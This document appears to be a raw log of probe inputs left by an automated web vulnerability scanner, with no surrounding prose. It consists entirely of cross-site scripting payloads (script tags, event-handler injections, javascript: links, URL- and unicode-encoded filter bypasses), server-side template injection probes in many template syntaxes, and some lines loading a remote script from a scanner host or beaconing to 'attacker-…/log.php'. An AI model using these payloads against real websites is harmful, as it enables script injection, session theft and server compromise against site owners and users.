<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

5559763051

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

1}}dfb{{98991*97996}}xca

555<WYT3LH>EXUNA[!+!]</WYT3LH>

<a HrEF=jaVaScRiPT:>

bfg7496\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7496

555}body{zzz:Expre/**/SSion(STOx(9310))}

dfb[[${98991*97996}]]xca

1%}dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

5550PSeX <ScRiPt >STOx(9322)</ScRiPt>

555<ifRAme sRc=9047.com></IfRamE>

dfb__${98991*97996}__::.x

bfgx10187\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10187

1}dfb{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(mZQV(9269))}

555<WK7RTG>Q99DE[!+!]</WK7RTG>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}dfb${98991*97996}xca

555<ScRiPt >bUkg(9350)</ScRiPt>

555<ifRAme sRc=9913.com></IfRamE>

555<abQWQO4 x=9065>

555V2u20 <ScRiPt >mZQV(9376)</ScRiPt>

555<W0FQTH>TU7MF[!+!]</W0FQTH>

1}dfb#{98991*97996}xca

<%={{={@{#{${dfb}}%>

555<aHaO5j2 x=9968>

1}dfb{#98991*97996}xca

555

555<img sRc='http://attacker-9542/log.php?

555<img sRc='http://attacker-9444/log.php?

555<script>bUkg(9626)</script>

555<WNCXF5>YCZN0[!+!]</WNCXF5>

555<ScRiPt >MrZF(9473)</ScRiPt>

555<ifRAme sRc=9818.com></IfRamE>

555<WVIBEM>LMXYK[!+!]</WVIBEM>

555<script>bUkg(9765)</script>9765

555<aoFPsTA<

1}dfb{@98991*97996}xca

555<aNPCKYO<

<th:t="${dfb}#foreach

555<aoCIiuf x=9492>

555<ScR<ScRiPt>IpT>bUkg(9544)</sCr<ScRiPt>IpT>

555<script>MrZF(9607)</script>

1}}dfb{{=98991*97996}}xca

555<img sRc='http://attacker-9948/log.php?

555

555<aZXrgOU<

555<ScRiPt >bUkg(9845)</ScRiPt>

555<script>MrZF(9453)</script>9453

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1)dfb@(98991*97996)xca

555'"()&%<zzz><ScRiPt >maHv(9112)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9288></ScRiPt>

555

1%>dfb<%=98991*97996%>xca

555<ScR<ScRiPt>IpT>MrZF(9668)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >maHv(9103)</ScRiPt>

555<ScRiPt >bUkg(9690)</ScRiPt>

555<ScRiPt >MrZF(9284)</ScRiPt>

dfb{{98991*97996}}xca

1}dfb#set($x=98991*97996)${x}xca

5559063796

555<svg  \xa0onload=bUkg(9557)

dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9982></ScRiPt>

1}dfb{{"abc"|title}}xca

bfg5564\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5564

dfb__${98991*97996}__::.x

555<ScRiPt >MrZF(9620)</ScRiPt>

bfgx6075\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6075

555<svg  \xa0onload=MrZF(9369)

555<isindex type=image src=1 onerror=bUkg(9494)>

1print("dfb" . 98991*97996 . "xca")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

198991*97996*98991*97996

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=MrZF(9046)>

555<ScRiPt >PKGk(9379)</ScRiPt>

555<body onload=bUkg(9770)>

555<iframe src='data:text/html

555<WTG7MX>AHRGF[!+!]</WTG7MX>

555

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=//xss.bxss.me/t/dot.gif onload=bUkg(9231)>

555<body onload=MrZF(9801)>

555<img src=//xss.bxss.me/t/dot.gif onload=MrZF(9188)>

555<script>PKGk(9103)</script>

1}}}dfb{{{this}}}xca

<th:t="${dfb}#foreach

555

555<img src=xyz OnErRor=bUkg(9789)>

555<img src=xyz OnErRor=MrZF(9952)>

1}#{98991*97996*98991*97996}

555<script>PKGk(9804)</script>9804

555<img/src=">" onerror=alert(9300)>

1}dfb#{xca}=123

555<img/src=">" onerror=alert(9502)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%55%6B%67%289736%29%3C%2F%73%43%72%69%70%54%3E

555<ScR<ScRiPt>IpT>PKGk(9540)</sCr<ScRiPt>IpT>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%72%5A%46%289292%29%3C%2F%73%43%72%69%70%54%3E

555

1}}dfb{{'abcd'.toUpperCase()}}xca

555\u003CScRiPt\bUkg(9594)\u003C/sCripT\u003E

555<ScRiPt >PKGk(9658)</ScRiPt>

555\u003CScRiPt\MrZF(9624)\u003C/sCripT\u003E

dfb{{98991*97996}}xca

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9763></ScRiPt>

555&lt

dfb[[${98991*97996}]]xca

555&lt

1}}dfb{{98991*97996}}xca

555<ScRiPt >PKGk(9184)</ScRiPt>

\xf6<img zzz onmouseover=bUkg(96001) //\xf6>

1}dfb[[${98991*97996}]]xca

\xf6<img zzz onmouseover=MrZF(94381) //\xf6>

dfb__${98991*97996}__::.x

555<svg  \xa0onload=PKGk(9771)

1dfb__${98991*97996}__::.x

555<input autofocus onfocus=bUkg(9176)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=PKGk(9019)>

<a HrEF=http://xss.bxss.me></a>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=MrZF(9540)>

<a HrEF=jaVaScRiPT:>

555<iframe src='data:text/html

555<ScRiPt >L5eG(9829)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >maHv(9161)</ScRiPt>

555<W0OHZ3>1WH18[!+!]</W0OHZ3>

555<body onload=PKGk(9549)>

555}body{zzz:Expre/**/SSion(bUkg(9876))}

<a HrEF=jaVaScRiPT:>

555<WVB494>8HJDX[!+!]</WVB494>

555<script>L5eG(9162)</script>

555jQQqu <ScRiPt >bUkg(9264)</ScRiPt>

555}body{zzz:Expre/**/SSion(MrZF(9421))}

555<script>maHv(9970)</script>

555<script>L5eG(9239)</script>9239

555<script>maHv(9089)</script>9089

555<WKNFL5>GRU3N[!+!]</WKNFL5>

555<img src=//xss.bxss.me/t/dot.gif onload=PKGk(9315)>

555<ScR<ScRiPt>IpT>L5eG(9663)</sCr<ScRiPt>IpT>

555<img src=xyz OnErRor=PKGk(9054)>

555FA08y <ScRiPt >MrZF(9967)</ScRiPt>

555<ifRAme sRc=9719.com></IfRamE>

555<ScR<ScRiPt>IpT>maHv(9036)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9837)>

555<WP9MFV>GFOVQ[!+!]</WP9MFV>

555<ScRiPt >L5eG(9197)</ScRiPt>

555<ifRAme sRc=9587.com></IfRamE>

555<auGTAwq x=9625>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9749></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%50%4B%47%6B%289536%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >maHv(9594)</ScRiPt>

555<ab1tsp5 x=9266>

555\u003CScRiPt\PKGk(9849)\u003C/sCripT\u003E

555<img sRc='http://attacker-9462/log.php?

555<a6Qcggb<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9509></ScRiPt>

555<ScRiPt >L5eG(9861)</ScRiPt>

555'"()&%<zzz><ScRiPt >LYZs(9360)</ScRiPt>

555<img sRc='http://attacker-9254/log.php?

555&lt

555<ScRiPt >maHv(9370)</ScRiPt>

555<svg  \xa0onload=L5eG(9562)

555'"()&%<zzz><ScRiPt >2Mmo(9291)</ScRiPt>

555<isindex type=image src=1 onerror=L5eG(9030)>

\xf6<img zzz onmouseover=PKGk(90651) //\xf6>

'"()&%<zzz><ScRiPt >LYZs(9103)</ScRiPt>

555<atTVpXw<

555'"()&%<zzz><ScRiPt >zXRj(9356)</ScRiPt>

555'"()&%<zzz><ScRiPt >qTrR(9628)</ScRiPt>

555<svg  \xa0onload=maHv(9917)

555<iframe src='data:text/html

'"()&%<zzz><ScRiPt >2Mmo(9951)</ScRiPt>

555'"()&%<zzz><ScRiPt >DWn1(9939)</ScRiPt>

555<body onload=L5eG(9903)>

'"()&%<zzz><ScRiPt >zXRj(9161)</ScRiPt>

5559727660

'"()&%<zzz><ScRiPt >DWn1(9261)</ScRiPt>

555<isindex type=image src=1 onerror=maHv(9603)>

555<input autofocus onfocus=PKGk(9020)>

'"()&%<zzz><ScRiPt >qTrR(9309)</ScRiPt>

5559230142

5559418366

5559779071

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=L5eG(9464)>

bfg9279\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9279

5559304355

<a HrEF=http://xss.bxss.me></a>

bfg8082\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8082

bfgx2424\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2424

bfg10350\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10350

555<body onload=maHv(9665)>

bfg2471\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2471

<%={{={@{#{${dfb}}%>

bfg8738\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8738

bfgx3400\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3400

555<img src=xyz OnErRor=L5eG(9849)>

<a HrEF=jaVaScRiPT:>

bfgx3565\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3565

555

bfgx10311\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10311

bfgx8793\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8793

<%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(PKGk(9314))}

555<img src=//xss.bxss.me/t/dot.gif onload=maHv(9852)>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9076)>

555

555<img src=xyz OnErRor=maHv(9180)>

555QSTM8 <ScRiPt >PKGk(9448)</ScRiPt>

555

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%35%65%47%289252%29%3C%2F%73%43%72%69%70%54%3E

555

555

555<img/src=">" onerror=alert(9416)>

555<WTTGMI>LORYJ[!+!]</WTTGMI>

555

555\u003CScRiPt\L5eG(9223)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<ifRAme sRc=9013.com></IfRamE>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%61%48%76%289920%29%3C%2F%73%43%72%69%70%54%3E

555

555

555

555

\xf6<img zzz onmouseover=L5eG(94251) //\xf6>

555

555<a0gqklc x=9025>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9311/log.php?

555\u003CScRiPt\maHv(9377)\u003C/sCripT\u003E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<input autofocus onfocus=L5eG(9121)>

dfb{{98991*97996}}xca

555

555<alXA5tQ<

555

dfb[[${98991*97996}]]xca

555

dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

555&lt

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >Aj9R(9352)</ScRiPt>

dfb__${98991*97996}__::.x

\xf6<img zzz onmouseover=maHv(92761) //\xf6>

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >Aj9R(9959)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=maHv(9472)>

dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >zXRj(9323)</ScRiPt>

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(L5eG(9914))}

<a HrEF=http://xss.bxss.me></a>

5559425656

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WZ1ZRM>HAFVJ[!+!]</WZ1ZRM>

555<ScRiPt >LYZs(9810)</ScRiPt>

555VVjWb <ScRiPt >L5eG(9635)</ScRiPt>

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555<ScRiPt >DWn1(9585)</ScRiPt>

555<script>zXRj(9565)</script>

555}body{zzz:Expre/**/SSion(maHv(9452))}

555<script>zXRj(9411)</script>9411

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WQZO8I>ZSLEP[!+!]</WQZO8I>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg5345\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5345

555<WGZOGK>QH3BU[!+!]</WGZOGK>

555<W43GXH>E8WZB[!+!]</W43GXH>

555uhasA <ScRiPt >maHv(9277)</ScRiPt>

555<ScRiPt >qTrR(9753)</ScRiPt>

555<ifRAme sRc=9104.com></IfRamE>

555<ScR<ScRiPt>IpT>zXRj(9371)</sCr<ScRiPt>IpT>

555<as48VTE x=9168>

555<W9EUUJ>DLISM[!+!]</W9EUUJ>

bfgx2593\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2593

555<W0WIKK>QKNMC[!+!]</W0WIKK>

555<script>LYZs(9053)</script>

555<ScRiPt >2Mmo(9184)</ScRiPt>

555<ScRiPt >zXRj(9259)</ScRiPt>

555<script>DWn1(9455)</script>

555<ifRAme sRc=9529.com></IfRamE>

555<script>LYZs(9919)</script>9919

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9056></ScRiPt>

555<img sRc='http://attacker-9982/log.php?

<%={{={@{#{${dfb}}%>

555<script>qTrR(9307)</script>

555<script>DWn1(9012)</script>9012

555<WXYBDM>3OCD8[!+!]</WXYBDM>

555<ScRiPt >zXRj(9522)</ScRiPt>

555<ScR<ScRiPt>IpT>LYZs(9008)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>DWn1(9511)</sCr<ScRiPt>IpT>

555<script>2Mmo(9509)</script>

555<svg  \xa0onload=zXRj(9680)

555<a1IcRBg<

555<agURR62 x=9274>

555<ScRiPt >LYZs(9217)</ScRiPt>

555

555<script>qTrR(9800)</script>9800

555<img sRc='http://attacker-9540/log.php?

555<ScRiPt >DWn1(9390)</ScRiPt>

555'"()&%<zzz><ScRiPt >Zmfb(9038)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9587></ScRiPt>

555<axQofdY<

555<ScR<ScRiPt>IpT>qTrR(9977)</sCr<ScRiPt>IpT>

555<isindex type=image src=1 onerror=zXRj(9582)>

555'"()&%<zzz><ScRiPt >Byer(9524)</ScRiPt>

555<script>2Mmo(9835)</script>9835

555<ScRiPt >DWn1(9468)</ScRiPt>

555<ScRiPt >LYZs(9363)</ScRiPt>

555<iframe src='data:text/html

'"()&%<zzz><ScRiPt >Zmfb(9742)</ScRiPt>

555

'"()&%<zzz><ScRiPt >Byer(9414)</ScRiPt>

555'"()&%<zzz><ScRiPt >oQWF(9479)</ScRiPt>

555<ScRiPt >qTrR(9695)</ScRiPt>

555<svg  \xa0onload=LYZs(9415)

555<body onload=zXRj(9509)>

5559653165

555<ScR<ScRiPt>IpT>2Mmo(9895)</sCr<ScRiPt>IpT>

555<isindex type=image src=1 onerror=LYZs(9292)>

555<svg  \xa0onload=DWn1(9576)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9031></ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >oQWF(9070)</ScRiPt>

5559352712

555<img src=//xss.bxss.me/t/dot.gif onload=zXRj(9149)>

555<isindex type=image src=1 onerror=DWn1(9384)>

555<ScRiPt >qTrR(9663)</ScRiPt>

555<ScRiPt >2Mmo(9575)</ScRiPt>

bfg2116\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2116

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9896></ScRiPt>

555<svg  \xa0onload=qTrR(9199)

555<img src=xyz OnErRor=zXRj(9504)>

5559730828

bfg5011\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5011

555<iframe src='data:text/html

555<ScRiPt >2Mmo(9018)</ScRiPt>

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9397)>

555<isindex type=image src=1 onerror=qTrR(9400)>

555<body onload=LYZs(9081)>

bfgx7352\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7352

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%58%52%6A%289170%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

555<body onload=DWn1(9073)>

555<img src=//xss.bxss.me/t/dot.gif onload=LYZs(9768)>

555<svg  \xa0onload=2Mmo(9147)

bfg4607\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4607

bfgx7979\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7979

dfb[[${98991*97996}]]xca

555\u003CScRiPt\zXRj(9625)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=2Mmo(9223)>

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=LYZs(9754)>

<%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=DWn1(9671)>

bfgx4604\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4604

555<body onload=qTrR(9989)>

555

555&lt

555<img/src=">" onerror=alert(9468)>

555<iframe src='data:text/html

<%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%59%5A%73%289941%29%3C%2F%73%43%72%69%70%54%3E

555

\xf6<img zzz onmouseover=zXRj(92001) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=qTrR(9814)>

<th:t="${dfb}#foreach

555

555<img src=xyz OnErRor=DWn1(9092)>

555<ScRiPt >Aj9R(9016)</ScRiPt>

555<body onload=2Mmo(9261)>

<th:t="${dfb}#foreach

555

555<img/src=">" onerror=alert(9643)>

555<input autofocus onfocus=zXRj(9274)>

555<WIFFUT>H0KAY[!+!]</WIFFUT>

<th:t="${dfb}#foreach

555\u003CScRiPt\LYZs(9268)\u003C/sCripT\u003E

555<img src=xyz OnErRor=qTrR(9878)>

<a HrEF=http://xss.bxss.me></a>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=2Mmo(9859)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%57%6E%31%289137%29%3C%2F%73%43%72%69%70%54%3E

555<script>Aj9R(9670)</script>

555

555

555<img/src=">" onerror=alert(9868)>

555&lt

555\u003CScRiPt\DWn1(9901)\u003C/sCripT\u003E

<a HrEF=jaVaScRiPT:>

555<img src=xyz OnErRor=2Mmo(9872)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%54%72%52%289477%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=LYZs(96291) //\xf6>

555&lt

555

555<script>Aj9R(9992)</script>9992

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(zXRj(9363))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9019)>

555<input autofocus onfocus=LYZs(9386)>

555\u003CScRiPt\qTrR(9637)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>Aj9R(9699)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=DWn1(93641) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%4D%6D%6F%289595%29%3C%2F%73%43%72%69%70%54%3E

555

<a HrEF=http://xss.bxss.me></a>

555

555&lt

555\u003CScRiPt\2Mmo(9884)\u003C/sCripT\u003E

555LhJft <ScRiPt >zXRj(9191)</ScRiPt>

555<ScRiPt >Aj9R(9760)</ScRiPt>

555<input autofocus onfocus=DWn1(9421)>

\xf6<img zzz onmouseover=qTrR(94461) //\xf6>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9018></ScRiPt>

dfb{{98991*97996}}xca

555&lt

dfb__${98991*97996}__::.x

555<WQO3LP>10WAS[!+!]</WQO3LP>

dfb[[${98991*97996}]]xca

555<ScRiPt >Aj9R(9740)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9923.com></IfRamE>

555<input autofocus onfocus=qTrR(9591)>

\xf6<img zzz onmouseover=2Mmo(91871) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(LYZs(9648))}

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

555<ay52qaR x=9240>

555<svg  \xa0onload=Aj9R(9822)

dfb__${98991*97996}__::.x

555<input autofocus onfocus=2Mmo(9979)>

555}body{zzz:Expre/**/SSion(DWn1(9732))}

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >Zmfb(9160)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555hXUTl <ScRiPt >LYZs(9409)</ScRiPt>

555<isindex type=image src=1 onerror=Aj9R(9096)>

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555<img sRc='http://attacker-9357/log.php?

555<ScRiPt >oQWF(9191)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555lntIi <ScRiPt >DWn1(9564)</ScRiPt>

555<WAS9FF>IHSAV[!+!]</WAS9FF>

555<WHOQNT>RNKHP[!+!]</WHOQNT>

555<a3V6kEm<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

555}body{zzz:Expre/**/SSion(qTrR(9482))}

<a HrEF=jaVaScRiPT:>

555<WBD1LD>6WJYZ[!+!]</WBD1LD>

555<ifRAme sRc=9498.com></IfRamE>

555<WYBX3S>413LK[!+!]</WYBX3S>

555<script>Zmfb(9296)</script>

555<body onload=Aj9R(9959)>

555}body{zzz:Expre/**/SSion(2Mmo(9546))}

555C5Bpk <ScRiPt >qTrR(9050)</ScRiPt>

555<script>oQWF(9243)</script>

5550Ac8W <ScRiPt >2Mmo(9097)</ScRiPt>

555<ScRiPt >Byer(9503)</ScRiPt>

555<ifRAme sRc=9845.com></IfRamE>

555<aD87rDq x=9576>

555<img src=//xss.bxss.me/t/dot.gif onload=Aj9R(9938)>

555<script>Zmfb(9554)</script>9554

555<WGK8KQ>5BA5W[!+!]</WGK8KQ>

555<script>oQWF(9798)</script>9798

555<aj5lEZF x=9926>

555<W9JX8Q>PHHUZ[!+!]</W9JX8Q>

555<img sRc='http://attacker-9867/log.php?

555<ScR<ScRiPt>IpT>Zmfb(9390)</sCr<ScRiPt>IpT>

555<img src=xyz OnErRor=Aj9R(9711)>

555<ScR<ScRiPt>IpT>oQWF(9096)</sCr<ScRiPt>IpT>

555<W3A7CY>S0VBW[!+!]</W3A7CY>

555<script>Byer(9108)</script>

555<img sRc='http://attacker-9260/log.php?

555<ifRAme sRc=9446.com></IfRamE>

555<img/src=">" onerror=alert(9507)>

555<ifRAme sRc=9747.com></IfRamE>

555<script>Byer(9422)</script>9422

555<ScRiPt >oQWF(9893)</ScRiPt>

555<aBKnNMj<

555<ScRiPt >Zmfb(9270)</ScRiPt>

555<aZUDzX3 x=9294>

555<a1TGJ1n<

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%6A%39%52%289438%29%3C%2F%73%43%72%69%70%54%3E

555<aAj5oXa x=9894>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9691></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9114></ScRiPt>

555<ScR<ScRiPt>IpT>Byer(9537)</sCr<ScRiPt>IpT>

555<ScRiPt >Zmfb(9820)</ScRiPt>

555<img sRc='http://attacker-9095/log.php?

555\u003CScRiPt\Aj9R(9408)\u003C/sCripT\u003E

555<svg  \xa0onload=Zmfb(9426)

555<img sRc='http://attacker-9650/log.php?

555<aU0Uhvy<

555<ScRiPt >Byer(9961)</ScRiPt>

555<ScRiPt >oQWF(9687)</ScRiPt>

555<aqyalyj<

555<isindex type=image src=1 onerror=Zmfb(9446)>

555&lt

555<svg  \xa0onload=oQWF(9031)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9426></ScRiPt>

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=oQWF(9266)>

555<ScRiPt >Byer(9100)</ScRiPt>

\xf6<img zzz onmouseover=Aj9R(98591) //\xf6>

555<body onload=Zmfb(9302)>

555<iframe src='data:text/html

555<input autofocus onfocus=Aj9R(9125)>

555<svg  \xa0onload=Byer(9857)

555<img src=//xss.bxss.me/t/dot.gif onload=Zmfb(9116)>

555<isindex type=image src=1 onerror=Byer(9554)>

555<body onload=oQWF(9682)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=oQWF(9830)>

555<img src=xyz OnErRor=Zmfb(9985)>

555}body{zzz:Expre/**/SSion(Aj9R(9652))}

555<body onload=Byer(9136)>

555<img src=xyz OnErRor=oQWF(9501)>

555'"()&%<zzz><ScRiPt >6x79(9616)</ScRiPt>

555<img/src=">" onerror=alert(9753)>

555QXWFO <ScRiPt >Aj9R(9702)</ScRiPt>

555<img/src=">" onerror=alert(9558)>

555'"()&%<zzz><ScRiPt >5C9H(9806)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=Byer(9523)>

'"()&%<zzz><ScRiPt >6x79(9362)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6F%51%57%46%289782%29%3C%2F%73%43%72%69%70%54%3E

555'"()&%<zzz><ScRiPt >z2Ni(9712)</ScRiPt>

555<WSMGWC>VV5EH[!+!]</WSMGWC>

%35%35%35%3C%53%63%52%69%50%74%20%3E%5A%6D%66%62%289564%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >5C9H(9028)</ScRiPt>

555\u003CScRiPt\oQWF(9729)\u003C/sCripT\u003E

5559443035

555<ifRAme sRc=9573.com></IfRamE>

555<img src=xyz OnErRor=Byer(9647)>

5559613738

555<aq8Kwn5 x=9612>

555&lt

'"()&%<zzz><ScRiPt >z2Ni(9895)</ScRiPt>

555\u003CScRiPt\Zmfb(9810)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9238)>

\xf6<img zzz onmouseover=oQWF(99441) //\xf6>

555<img sRc='http://attacker-9899/log.php?

bfg10748\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10748

bfgx6092\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6092

555<a0G31ZQ<

555<input autofocus onfocus=oQWF(9180)>

bfg8018\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8018

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%79%65%72%289459%29%3C%2F%73%43%72%69%70%54%3E

5559132827

<a HrEF=http://xss.bxss.me></a>

555&lt

bfgx10729\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10729

<a HrEF=jaVaScRiPT:>

bfg8701\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8701

<%={{={@{#{${dfb}}%>

555\u003CScRiPt\Byer(9854)\u003C/sCripT\u003E

555

bfgx9277\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9277

\xf6<img zzz onmouseover=Zmfb(94211) //\xf6>

555}body{zzz:Expre/**/SSion(oQWF(9721))}

<%={{={@{#{${dfb}}%>

555uiuwr <ScRiPt >oQWF(9495)</ScRiPt>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=Zmfb(9162)>

555

555&lt

555

555<WSQF3T>XUHRW[!+!]</WSQF3T>

555

\xf6<img zzz onmouseover=Byer(94461) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ifRAme sRc=9125.com></IfRamE>

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=Byer(9385)>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

